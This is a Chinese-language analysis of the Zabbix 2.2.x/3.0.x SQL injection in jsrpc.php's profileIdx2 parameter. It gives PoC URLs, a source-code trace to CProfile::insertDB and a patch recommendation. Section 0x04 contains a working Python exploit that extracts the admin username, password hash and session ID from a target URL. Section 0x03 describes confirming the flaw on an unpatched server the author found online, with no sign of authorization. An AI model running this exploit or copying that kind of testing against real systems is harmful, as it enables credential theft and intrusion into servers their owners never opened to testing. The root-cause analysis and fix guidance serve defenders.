0x01 背景

该漏洞于8月12日由安全研究员 1N3@CrowdShield 和 Brandon Perry 负责任地披露于 Full Disclosure,两人都在邮件中公开了 PoC,如下:

需要高权限用户
latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1
普通guest用户
jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17

漏洞影响范围
凡使用Zabbix2.2.x、3.0.x 的网站(在3.0.4版本中已修复)可能导致敏感数据泄漏、服务器被恶意攻击者控制进而造成更多危害等。
Zabbix简介
zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。

## 0x02 漏洞分析 这里是对zabbix3.0.3的源码包进行简单分析。ps: 官网已经没有3.0.3的源码包了,这里找到一个,[源码包下载地址](http://sourceforge.mirrorservice.org/z/za/zabbix/ZABBIX%20Latest%20Stable/3.0.3/zabbix-3.0.3.tar.gz) 注入产生的流程: >jsrpc.php:182→CScreenBuilder::getScreen()→CScreenBase::calculateTime()→CProfile::update() >→page_footer.php:40→CProfile::flush()→CProfile::insertDB()→DBexecute()

根据提供的poc

jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17

首先找到jsrpc.php,为了方便阅读,下面会省略无关代码。
/zabbix-3.0.3/frontends/php/jsrpc.php

<?php
$requestType = getRequest('type', PAGE_TYPE_JSON);
if ($requestType == PAGE_TYPE_JSON) {
    $http_request = new CHttpRequest();
    $json = new CJson();
    $data = $json->decode($http_request->body(), true);
}
else {
    //将url的参数赋给$data
    $data = $_REQUEST;
}

$page['title'] = 'RPC';
$page['file'] = 'jsrpc.php';
$page['type'] = detect_page_type($requestType);

require_once dirname(__FILE__).'/include/page_header.php';

if (!is_array($data) || !isset($data['method'])
        || ($requestType == PAGE_TYPE_JSON && (!isset($data['params']) || !is_array($data['params'])))) {
    fatal_error('Wrong RPC call to JS RPC!');
}

$result = [];
//判断参数中method值screen.get然后进入到相应的case里
switch ($data['method']) {
...
    case 'screen.get':
        $result = '';
        $screenBase = CScreenBuilder::getScreen($data);
        if ($screenBase !== null) {
            $screen = $screenBase->get();

            if ($data['mode'] == SCREEN_MODE_JS) {
                $result = $screen;
            }
            else {
                if (is_object($screen)) {
                    $result = $screen->toString();
                }
            }
        }
        break;
...
require_once dirname(__FILE__).'/include/page_footer.php';

看到是调用了CScreenBuilder类的getScreen($data)方法来处理$data数据,跟进
/zabbix-3.0.3/frontends/php/include/classes/screens/CScreenBuilder.php

<?php
/**
 * Init screen data.
 *
 * @param array     $options
 * @param boolean   $options['isFlickerfree']
 * @param string    $options['pageFile']
 * @param int       $options['mode']
 * @param int       $options['timestamp']
 * @param int       $options['hostid']
 * @param int       $options['period']
 * @param int       $options['stime']
 * @param string    $options['profileIdx']
 * @param int       $options['profileIdx2']
 * @param boolean   $options['updateProfile']
 * @param array     $options['screen']
 */
public function __construct(array $options = []) {
    $this->isFlickerfree = isset($options['isFlickerfree']) ? $options['isFlickerfree'] : true;
    $this->mode = isset($options['mode']) ? $options['mode'] : SCREEN_MODE_SLIDESHOW;
    $this->timestamp = !empty($options['timestamp']) ? $options['timestamp'] : time();
    $this->hostid = !empty($options['hostid']) ? $options['hostid'] : null;

    // get page file
    if (!empty($options['pageFile'])) {
        $this->pageFile = $options['pageFile'];
    }
    else {
        global $page;
        $this->pageFile = $page['file'];
    }

    // get screen
    if (!empty($options['screen'])) {
        $this->screen = $options['screen'];
    }
    elseif (array_key_exists('screenid', $options) && $options['screenid'] > 0) {
        $this->screen = API::Screen()->get([
            'screenids' => $options['screenid'],
            'output' => API_OUTPUT_EXTEND,
            'selectScreenItems' => API_OUTPUT_EXTEND,
            'editable' => ($this->mode == SCREEN_MODE_EDIT)
        ]);

        if (!empty($this->screen)) {
            $this->screen = reset($this->screen);
        }
        else {
            access_deny();
        }
    }

    // calculate time
    $this->profileIdx = !empty($options['profileIdx']) ? $options['profileIdx'] : '';
    $this->profileIdx2 = !empty($options['profileIdx2']) ? $options['profileIdx2'] : null;
    $this->updateProfile = isset($options['updateProfile']) ? $options['updateProfile'] : true;

    $this->timeline = CScreenBase::calculateTime([
        'profileIdx' => $this->profileIdx,
        'profileIdx2' => $this->profileIdx2,
        'updateProfile' => $this->updateProfile,
        'period' => !empty($options['period']) ? $options['period'] : null,
        'stime' => !empty($options['stime']) ? $options['stime'] : null
    ]);
}

发现首先调用了个构造方法初始化数据,这里就有对profileIdx2参数的操作了,但是还是没有insert注入语句,我们看到最后调用了CScreenBase类的calculateTime方法并把profileIdx2传进去了,跟进
/zabbix-3.0.3/frontends/php/include/classes/screens/CScreenBase.php

/**
* Insert javascript flicker-free screen data.
*
* @static
*
* @param array      $options
* @param string $options['profileIdx']
* @param int        $options['profileIdx2']
* @param boolean    $options['updateProfile']
* @param int        $options['period']
* @param string $options['stime']
*
* @return array
*/
public static function calculateTime(array $options = []) {
    if (!array_key_exists('updateProfile', $options)) {
        $options['updateProfile'] = true;
    }
    if (empty($options['profileIdx2'])) {
        $options['profileIdx2'] = 0;
    }

    // Show only latest data without update is set only period.
    if (!empty($options['period']) && empty($options['stime'])) {
        $options['updateProfile'] = false;
        $options['profileIdx'] = '';
    }

    // period
    if (empty($options['period'])) {
        $options['period'] = !empty($options['profileIdx'])
            ? CProfile::get($options['profileIdx'].'.period', ZBX_PERIOD_DEFAULT, $options['profileIdx2'])
            : ZBX_PERIOD_DEFAULT;
    }
    else {
        if ($options['period'] < ZBX_MIN_PERIOD) {
            show_error_message(_n('Minimum time period to display is %1$s minute.',
                'Minimum time period to display is %1$s minutes.',
                (int) ZBX_MIN_PERIOD / SEC_PER_MIN
            ));
            $options['period'] = ZBX_MIN_PERIOD;
        }
        elseif ($options['period'] > ZBX_MAX_PERIOD) {
            show_error_message(_n('Maximum time period to display is %1$s day.',
                'Maximum time period to display is %1$s days.',
                (int) ZBX_MAX_PERIOD / SEC_PER_DAY
            ));
            $options['period'] = ZBX_MAX_PERIOD;
        }
    }
    if ($options['updateProfile'] && !empty($options['profileIdx'])) {
        CProfile::update($options['profileIdx'].'.period', $options['period'], PROFILE_TYPE_INT, $options['profileIdx2']);
    }
...

这里再次引入了一个类CProfile并调用update方法将profileIdx2带入到更新操作里了,没有insert语句没关系,我们先跟进CProfile类的update函数。
/zabbix-3.0.3/frontends/php/include/classes/user/CProfile.php

/**
 * Update favorite values in DB profiles table.
 *
 * @param string    $idx        max length is 96
 * @param mixed     $value      max length 255 for string
 * @param int       $type
 * @param int       $idx2
 */
public static function update($idx, $value, $type, $idx2 = 0) {
    if (is_null(self::$profiles)) {
        self::init();
    }

    if (!self::checkValueType($value, $type)) {
        return;
    }

    $profile = [
        'idx' => $idx,
        'value' => $value,
        'type' => $type,
        'idx2' => $idx2
    ];

    $current = self::get($idx, null, $idx2);
    if (is_null($current)) {
        if (!isset(self::$insert[$idx])) {
            self::$insert[$idx] = [];
        }
        self::$insert[$idx][$idx2] = $profile;
    }
    else {
        if ($current != $value) {
            if (!isset(self::$update[$idx])) {
                self::$update[$idx] = [];
            }
            self::$update[$idx][$idx2] = $profile;
        }
    }

    if (!isset(self::$profiles[$idx])) {
        self::$profiles[$idx] = [];
    }

    self::$profiles[$idx][$idx2] = $value;
}

发现这里只是对$profiles变量做了更新操作,当然profileIdx2参数也赋值进去了,这里是没有insert注入操作的。我们再回到最开始的jsrpc.php,这里最后引入了page_footer.php

require_once dirname(__FILE__).'/include/page_footer.php';

我们再跟进page_footer.php,发现调用了CProfile类的flush方法如下:

//判断CProfle类是否被修改过,刚刚调用了update修改了~
if (CProfile::isModified()) {
    DBstart();
    $result = CProfile::flush();
    DBend($result);
}

我们跟进flush方法:

<?php
public static function flush() {
    $result = false;

    if (self::$profiles !== null && self::$userDetails['userid'] > 0 && self::isModified()) {
        $result = true;

        foreach (self::$insert as $idx => $profile) {
            foreach ($profile as $idx2 => $data) {
                //执行insert语句
                $result &= self::insertDB($idx, $data['value'], $data['type'], $idx2);
            }
        }

        ksort(self::$update);
        foreach (self::$update as $idx => $profile) {
            ksort($profile);
            foreach ($profile as $idx2 => $data) {
                $result &= self::updateDB($idx, $data['value'], $data['type'], $idx2);
            }
        }
    }

    return $result;
}
...
private static function insertDB($idx, $value, $type, $idx2) {
    $value_type = self::getFieldByType($type);

    $values = [
        'profileid' => get_dbid('profiles', 'profileid'),
        'userid' => self::$userDetails['userid'],
        'idx' => zbx_dbstr($idx),
        $value_type => zbx_dbstr($value),
        'type' => $type,
        'idx2' => $idx2
    ];
    //注入触发点,执行insert语句,造成注入
    return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');
}

至此,SQL注入产生

0x03 漏洞证明

在网上找了一个版本低于3.0.4的zabbix服务器,验证该poc

jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1,md5(0x11),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17


存在注入

0x04漏洞EXP

这是一个简单的漏洞利用exp python脚本,可以获取zabbix的用户名和密码以及session_id

##!/usr/bin/env python
## coding=utf-8

import urllib2
import sys, os
import re

def check():
    payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1"
    try:
        response = urllib2.urlopen(url + payload, timeout=10).read()
    except Exception, e:
        print e
    else:
        key_reg = re.compile(r"INSERT\s*INTO\s*profiles")
        if key_reg.findall(response):
            return True


def Inject(sql):
    payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote(
        sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"
    try:
        response = urllib2.urlopen(payload, timeout=10).read()
    except Exception, msg:
        print msg
    else:
        result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1")
        results = result_reg.findall(response)
        if results:
            return results[0]


if __name__ == '__main__':
    if len(sys.argv) != 2:
        print u'用法: ' + os.path.basename(sys.argv[0]) + u' [Zabbix后台URL]'
        sys.exit()
    url = sys.argv[1]
    if url[-1] != '/': url += '/'
    passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from  users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
    if check():
        print u'Zabbix 存在 SQL 注入漏洞!\n'
        print u'管理员  用户名密码:%s' % Inject(passwd_sql)
        print u'管理员  Session_id:%s' % Inject(session_sql)
    else:
        print u'Zabbix 不存在 SQL 注入漏洞!\n'

存在漏洞

0x05 漏洞修复

升级到3.0.4
过滤参数,使用 intval 函数过滤 CProfile::insertDB 中的 $idx2 变量

0x06 参考

1 PHP代码审计Zabbix 2.2.x, 3.0.x SQL注射漏洞
2 Zabbix SQL注入漏洞分析及修复方案
3 Zabbix 最新 SQL 注入漏洞及 EXP